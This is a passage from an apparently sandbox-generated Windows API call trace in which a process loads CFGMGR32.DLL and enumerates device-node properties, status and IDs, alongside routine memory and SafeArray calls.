pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc281190, pulLength=0x2dc22fd3f8) returned 0x0 [0195.058] free (_Block=0x20abc281190) [0195.058] malloc (_Size=0x48) returned 0x20abc27cb20 [0195.058] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3006de8d, dwHighDateTime=0x1d9eb0c)) [0195.058] SetEvent (hEvent=0x248) returned 1 [0195.060] malloc (_Size=0x18) returned 0x20abc281960 [0195.060] SafeArrayPutElement (psa=0x20abba803d0, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0195.060] free (_Block=0x20abc281960) [0195.060] malloc (_Size=0x18) returned 0x20abc281aa0 [0195.060] SafeArrayPutElement (psa=0x20abba803d0, rgIndices=0x2dc22fd4c8, pv=0x20abba795e8) returned 0x0 [0195.061] free (_Block=0x20abc281aa0) [0195.061] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c370 [0195.061] SafeArrayGetDim (psa=0x20abba803d0) returned 0x1 [0195.061] SafeArrayGetLBound (in: psa=0x20abba803d0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0195.061] SafeArrayGetUBound (in: psa=0x20abba803d0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0195.061] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0195.061] SafeArrayGetDim (psa=0x20abba803d0) returned 0x1 [0195.061] SafeArrayGetUBound (in: psa=0x20abba803d0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0195.061] SafeArrayGetElemsize (psa=0x20abba803d0) returned 0x8 [0195.061] SafeArrayGetElement (in: psa=0x20abba803d0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0195.061] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93ad0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0195.062] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93ad8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0195.062] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0195.063] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c370) returned 1 [0195.145] malloc (_Size=0xd8) returned 0x20abc2867b0 [0195.145] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0195.145] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0195.146] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0195.146] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0195.146] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0195.146] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0195.146] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0195.146] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0195.146] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0195.147] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0195.147] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0195.147] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0195.147] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0195.147] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0195.147] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0195.148] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0195.148] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0195.148] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0195.148] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0195.148] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0195.148] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0195.149] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0195.149] malloc (_Size=0x18) returned 0x20abc281ea0 [0195.154] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x12, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0195.161] malloc (_Size=0x48) returned 0x20abc27cb20 [0195.161] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x30178d33, dwHighDateTime=0x1d9eb0c)) [0195.161] SetEvent (hEvent=0x248) returned 1 [0195.162] SetEvent (hEvent=0x248) returned 1 [0195.163] free (_Block=0x20abc27cb20) [0195.163] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x12, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0195.164] malloc (_Size=0x48) returned 0x20abc27cf80 [0195.164] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x30178d33, dwHighDateTime=0x1d9eb0c)) [0195.164] SetEvent (hEvent=0x248) returned 1 [0195.165] SetEvent (hEvent=0x248) returned 1 [0195.166] free (_Block=0x20abc27cf80) [0195.166] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x12, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0195.167] malloc (_Size=0x48) returned 0x20abc27cf80 [0195.167] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x30178d33, dwHighDateTime=0x1d9eb0c)) [0195.167] SetEvent (hEvent=0x248) returned 1 [0195.168] SetEvent (hEvent=0x248) returned 1 [0195.169] free (_Block=0x20abc27cf80) [0195.169] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x12, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0195.169] malloc (_Size=0x48) returned 0x20abc27cb20 [0195.169] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x30178d33, dwHighDateTime=0x1d9eb0c)) [0195.169] SetEvent (hEvent=0x248) returned 1 [0195.172] SetEvent (hEvent=0x248) returned 1 [0195.173] free (_Block=0x20abc27cb20) [0195.174] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x12, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0195.179] malloc (_Size=0x48) returned 0x20abc27cf80 [0195.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x301a0704, dwHighDateTime=0x1d9eb0c)) [0195.179] SetEvent (hEvent=0x248) returned 1 [0195.181] SetEvent (hEvent=0x248) returned 1 [0195.182] free (_Block=0x20abc27cf80) [0195.182] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x12, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0195.183] malloc (_Size=0x48) returned 0x20abc27cf80 [0195.183] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x301a0704, dwHighDateTime=0x1d9eb0c)) [0195.183] SetEvent (hEvent=0x248) returned 1 [0195.186] SetEvent (hEvent=0x248) returned 1 [0195.186] free (_Block=0x20abc27cf80) [0195.186] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x12, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0195.187] malloc (_Size=0x48) returned 0x20abc27cf80 [0195.187] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x301a0704, dwHighDateTime=0x1d9eb0c)) [0195.187] SetEvent (hEvent=0x248) returned 1 [0195.267] free (_Block=0x20abc27cf80) [0195.268] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x12, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0195.278] malloc (_Size=0x48) returned 0x20abc27cf80 [0195.278] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x30283ee6, dwHighDateTime=0x1d9eb0c)) [0195.278] SetEvent (hEvent=0x248) returned 1 [0195.280] SetEvent (hEvent=0x248) returned 1 [0195.281] free (_Block=0x20abc27cf80) [0195.282] CM_Get_Device_IDA (in: dnDevInst=0x13, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="USB\\VID_0A81&PID_0203\\28754") returned 0x0 [0195.282] malloc (_Size=0x48) returned 0x20abc27cf80 [0195.282] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x302aa162, dwHighDateTime=0x1d9eb0c)) [0195.282] SetEvent (hEvent=0x248) returned 1 [0195.283] SetEvent (hEvent=0x248) returned 1 [0195.285] free (_Block=0x20abc27cf80) [0195.285] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x13, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0195.285] malloc (_Size=0x6c) returned 0x20abc282120 [0195.285] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x13, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc282120, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc282120, pulLength=0x2dc22fd3f8) returned 0x0 [0195.286] free (_Block=0x20abc282120) [0195.286] malloc (_Size=0x48) returned 0x20abc27cf80 [0195.286] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x302aa162, dwHighDateTime=0x1d9eb0c)) [0195.286] SetEvent (hEvent=0x248) returned 1 [0195.287] malloc (_Size=0x18) returned 0x20abc281a00 [0195.287] SafeArrayPutElement (psa=0x20abba80110, rgIndices=0x2dc22fd4c8, pv=0x20abc4a2cd8) returned 0x0 [0195.287] free (_Block=0x20abc281a00) [0195.287] malloc (_Size=0x18) returned 0x20abc281dc0 [0195.287] SafeArrayPutElement (psa=0x20abba80110, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0195.287] free (_Block=0x20abc281dc0) [0195.287] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0be70 [0195.287] SafeArrayGetDim (psa=0x20abba80110) returned 0x1 [0195.287] SafeArrayGetLBound (in: psa=0x20abba80110, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0195.287] SafeArrayGetUBound (in: psa=0x20abba80110, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0195.287] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0195.287] SafeArrayGetDim (psa=0x20abba80110) returned 0x1 [0195.287] SafeArrayGetUBound (in: psa=0x20abba80110, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0195.287] SafeArrayGetElemsize (psa=0x20abba80110) returned 0x8 [0195.288] SafeArrayGetElement (in: psa=0x20abba80110, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0195.288] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93af0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0195.288] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93af8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0195.289] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0195.289] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0be70) returned 1 [0195.290] SetEvent (hEvent=0x248) returned 1 [0195.291] free (_Block=0x20abc27cf80) [0195.291] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x13, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0195.291] malloc (_Size=0x90) returned 0x20abc2831b0 [0195.291] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x13, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2831b0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2831b0, pulLength=0x2dc22fd3f8) returned 0x0 [0195.292] free (_Block=0x20abc2831b0) [0195.292] malloc (_Size=0x48) returned 0x20abc2a83c0 [0195.292] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x302aa162, dwHighDateTime=0x1d9eb0c)) [0195.292] SetEvent (hEvent=0x248) returned 1 [0195.292] malloc (_Size=0x18) returned 0x20abc281d40 [0195.292] SafeArrayPutElement (psa=0x20abba80910, rgIndices=0x2dc22fd4c8, pv=0x20abc4a2cd8) returned 0x0 [0195.292] free (_Block=0x20abc281d40) [0195.293] malloc (_Size=0x18) returned 0x20abc2820c0 [0195.293] SafeArrayPutElement (psa=0x20abba80910, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0195.293] free (_Block=0x20abc2820c0) [0195.293] malloc (_Size=0x18) returned 0x20abc281ba0 [0195.293] SafeArrayPutElement (psa=0x20abba80910, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0195.293] free (_Block=0x20abc281ba0) [0195.293] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d0f0 [0195.293] SafeArrayGetDim (psa=0x20abba80910) returned 0x1 [0195.293] SafeArrayGetLBound (in: psa=0x20abba80910, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0195.293] SafeArrayGetUBound (in: psa=0x20abba80910, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0195.293] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0195.293] SafeArrayGetDim (psa=0x20abba80910) returned 0x1 [0195.293] SafeArrayGetUBound (in: psa=0x20abba80910, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0195.293] SafeArrayGetElemsize (psa=0x20abba80910) returned 0x8 [0195.293] SafeArrayGetElement (in: psa=0x20abba80910, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0195.294] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93af0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0195.294] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93af8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0195.294] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93b00, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0195.295] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0195.296] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d0f0) returned 1 [0195.296] SetEvent (hEvent=0x248) returned 1 [0195.297] free (_Block=0x20abc2a83c0) [0195.297] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x13, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0195.301] malloc (_Size=0x48) returned 0x20abc2a8870 [0195.301] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x302d03cb, dwHighDateTime=0x1d9eb0c)) [0195.301] SetEvent (hEvent=0x248) returned 1 [0195.302] SetEvent (hEvent=0x248) returned 1 [0195.303] free (_Block=0x20abc2a8870) [0195.303] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x13, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0195.303] malloc (_Size=0x48) returned 0x20abc27cf80 [0195.303] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x302d03cb, dwHighDateTime=0x1d9eb0c)) [0195.303] SetEvent (hEvent=0x248) returned 1 [0195.304] SetEvent (hEvent=0x248) returned 1 [0195.305] free (_Block=0x20abc27cf80) [0195.305] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x13, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0195.305] malloc (_Size=0x48) returned 0x20abc27cf80 [0195.305] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x302d03cb, dwHighDateTime=0x1d9eb0c)) [0195.306] SetEvent (hEvent=0x248) returned 1 [0195.307] SetEvent (hEvent=0x248) returned 1 [0195.307] free (_Block=0x20abc27cf80) [0195.307] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x13, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0195.308] malloc (_Size=0x48) returned 0x20abc27cf80 [0195.308] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x302d03cb, dwHighDateTime=0x1d9eb0c)) [0195.308] SetEvent (hEvent=0x248) returned 1 [0195.311] SetEvent (hEvent=0x248) returned 1 [0195.311] free (_Block=0x20abc27cf80) [0195.311] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x13, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0195.426] malloc (_Size=0x48) returned 0x20abc27cf80 [0195.426] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x30401818, dwHighDateTime=0x1d9eb0c)) [0195.426] SetEvent (hEvent=0x248) returned 1 [0195.429] malloc (_Size=0xd8) returned 0x20abc2867b0 [0195.429] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0195.430] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0195.430] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0195.430] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0195.430] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0195.430] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0195.430] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0195.431] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0195.431] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0195.431] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0195.431] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0195.431] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0195.431] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0195.431] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0195.432] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0195.432] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0195.432] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0195.432] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0195.432] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0195.432] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0195.432] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0195.433] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0195.433] malloc (_Size=0x18) returned 0x20abc281dc0 [0195.433] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x13, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0195.433] malloc (_Size=0x48) returned 0x20abc27cf80 [0195.433] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x30401818, dwHighDateTime=0x1d9eb0c)) [0195.433] SetEvent (hEvent=0x248) returned 1 [0195.437] malloc (_Size=0xd8) returned 0x20abc2867b0 [0195.437] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0195.437] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0195.438] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0195.438] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0195.438] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0195.438] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0195.439] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0195.439] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0195.439] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0195.439] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0195.439] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0195.439] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0195.439] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0195.439] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0195.440] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0195.440] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0195.440] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0195.440] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0195.440] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0195.440] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0195.440] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0195.441] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0195.441] malloc (_Size=0x18) returned 0x20abc281cc0 [0195.441] CM_Get_First_Log_Conf (in: 